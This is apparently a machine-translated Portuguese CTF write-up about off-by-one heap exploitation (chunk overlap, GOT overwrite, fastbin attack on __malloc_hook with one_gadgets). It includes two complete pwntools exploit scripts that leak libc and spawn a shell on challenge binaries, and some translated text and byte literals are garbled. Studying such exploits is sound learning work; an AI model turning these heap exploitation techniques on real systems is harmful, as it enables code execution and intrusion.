minhas informações de contato
Correspondência[email protected]
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
A base do pwn ainda é muito superficial. Apenas registro um pouco da minha experiência de aprendizado.
À medida que o estudo avança, pontos de conhecimento e perguntas adicionais serão adicionados.
Resumo do aprendizado sobre off por null |
Extensão e sobreposição de pedaços | ctfwiki
Intimamente relacionado ao off-by-one está a extensão e sobreposição de pedaços mencionados acima.
Isso geralmente é chamado de "blocos sobrepostos".
Por que criar blocos sobrepostos?
Por exemplo, se quisermos reescrever os campos de cabeçalho de um pedaço, ou seja, os segmentos prev_size e size, definitivamente não poderemos alterá-los aplicando diretamente.
Uma ideia é construir um pedaço falso mal colocado. Outra ideia mais simples é criar pedaços sobrepostos. Modificando o bit de tamanho, a parte de dados do usuário de um pedaço grande inclui o cabeçalho da parte pequena que queremos modificar.
Acho que esta pergunta é um bom exemplo de como usar o off-by-one. As questões não são muito difíceis e os pontos de uso são bastante inteligentes.
Descompile para encontrar brechas,
Há um off-by-one artificial aqui, e mais um byte pode ser escrito aqui.
Voltando à atribuição de tópicos,
Primeiro, um pedaço de tamanho 0x10 é alocado para armazenar algumas informações e, em seguida, um pedaço é alocado para conteúdo.
Ficará muito claro se você observar a depuração do gdb aqui.
Por exemplo, o layout do bloco heap depois de add(0x28,'0'),add(0x10,'1')
Você pode ver que toda vez que adicionamos, primeiro malloc um pedaço que armazena informações de bloco de heap em um endereço baixo e, em seguida, malloc um pedaço que armazena conteúdo.
Então notei que as operações de edição e exibição são todas feitas atravésInformações do bloco de heapestrutura para "index", então se quisermos vazar libc, podemos colocar as informações do bloco heap deste pedaço *content
O campo é modificado para o endereço da tabela obtida de uma determinada função. Por exemplo, se atoi for usado nesta questão, então atoi_addr será impresso durante o show.
Isso envolve uma situação semelhante no "Pequeno Entendimento" anterior. Não podemos modificar diretamente o conteúdo do pedaço que "armazena as informações do bloco heap", então podemos usar off-by-one de forma mais inteligente para implementar a extensão do bloco heap. .
Por exemplo, se modificarmos assim, isso pode causar a expansão e sobreposição dos blocos de heap.
Vamos falar sobre a utilização específica abaixo.
Tanto o bloco de heap de informações quanto o bloco de heap de conteúdo serão gratuitos, portanto, neste momento, existem compartimentos de dois tamanhos 0x20 e 0x40 em fastbins.
Claro, existem alguns detalhes, como a última seleção de tamanho mencionada de 0x18 e 0x28, e a necessidade de reservar o conteúdo da pilha de informações ao modificá-la.tamanhocampos (caso contrário, a edição final não terá tamanho suficiente para ser escrita para você) e assim por diante.
Exp:
atoi_got = elf.got['atoi']
add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak
libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
edit(1,p64(system))
sla("Your choice :",b"/bin/shx00")
p.interactive()
Na verdade, há outro ponto-chave nesta questão, e foi também o ponto que me deixou confuso no início. A adição inicial de chunk0 do EXP do Master ZIKH é 0x18. Na minha prática, alterá-lo para 0x10 ou 0x20 não funcionou, mas alterá-lo para 0x28 funcionou.
A depuração descobriu que quando alterado para 0x10, 0x20, nossos dados do usuário não habilitarão o próximo bloco.tamanho_anteriorde.
Ao alocar 0x18, 0x28, etc., o mecanismo ptmalloc2 reutilizará o segmento prev_size de next_chunk.
emmm, na verdade, em última análise, ainda não estou familiarizado o suficiente com heap. Afinal, só de olhar a explicação do wiki, são tantos pontos de conhecimento e os detalhes são complicados, dificultando a lembrança. Claro, eu o encontrei em combate real. Será muito melhor depois de depurá-lo e entendê-lo novamente.
A falha na questão está aqui.
Quando a2-a1==10 está no if, ou seja, quando o tamanho inserido pela edição é exatamente 10 maior que o tamanho adicionado, há um off-by-one.
Estrutura de alocação aproximada
Ou use o segmento bss para armazenar o uso e o uso do pedaço.*content
Ainda podemos usar off-by-one combinado com as características de tamanho 0x-8, reutilizar prev_size para falsificar prev_size e tamanho para acionar mesclagem direta (endereço baixo)
Neste momento, você pode ver que a mesclagem é acionada por free(2).
Neste momento, se adicionarmos(0x80) e depois mostrar(1), poderemos imprimir o valor de main_arena+88.
Meu entendimento é: o add(0x80) aqui é para dividir o unsortedbin, para que o ponteiro fd (main_arena+88) seja movido para o segmento chunk1 que pode ser mostrado.
Neste ponto, o endereço base da libc vazou.
As operações a seguir parecem envolver muitos blocos de heap sobrepostos, então vamos dar uma olhada na depuração passo a passo.
Layout de heap ao vazar libc
add(0x68)
(Corte um pedaço da caixa não classificada)
free(1)
(fastbin 0x70)
edit(2,p64(malloc_hook-0x23))
(Aqui aproveitamos o fato de que o chunk2 de 0x68 solicitado na etapa anterior se sobrepõe ao chunk1 que acabou de ser liberado (o chunk1 foi solicitado no início))
add(0x68)
(Solicitando chunk1, na verdade é chunk2)
add(0x68)
(Inscreva-se para retornar o fake_chunk em malloc_hook-0x23)
Então você precisa usar realloc para ajustar o quadro da pilha e obter o shell.
Assim poderei passar localmente, mas não remotamente.
Depois de olhar o Exp do Mestre ZIKH, preciso usar o local
realloc = libcbase + libc.sym['realloc']
Mudar pararealloc = libcbase + 0x846c0
Então você tem que alterar o valor de one_gadget
Esses dois one_gadgets têm um deslocamento, não sei por que no momento. Talvez tenha algo a ver com o ajuste do quadro da pilha. (Aprenda mais tarde)
Jogue Exp local:
add(0x80)
add(0x68)
add(0x80)
add(0x10)
free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed) size:0x91->0x90
edit(1,0x68+10,pl)
free(2) # trigger consolidate
add(0x80)
show(1)
leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)
add(0x68)
free(1)
edit(2,8,p64(malloc_hook-0x23)) # fake_chunk
add(0x68)
add(0x68)
pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)
add(0xFF)
p.interactive()
local:
Remotamente:
Para resumir, é difícil.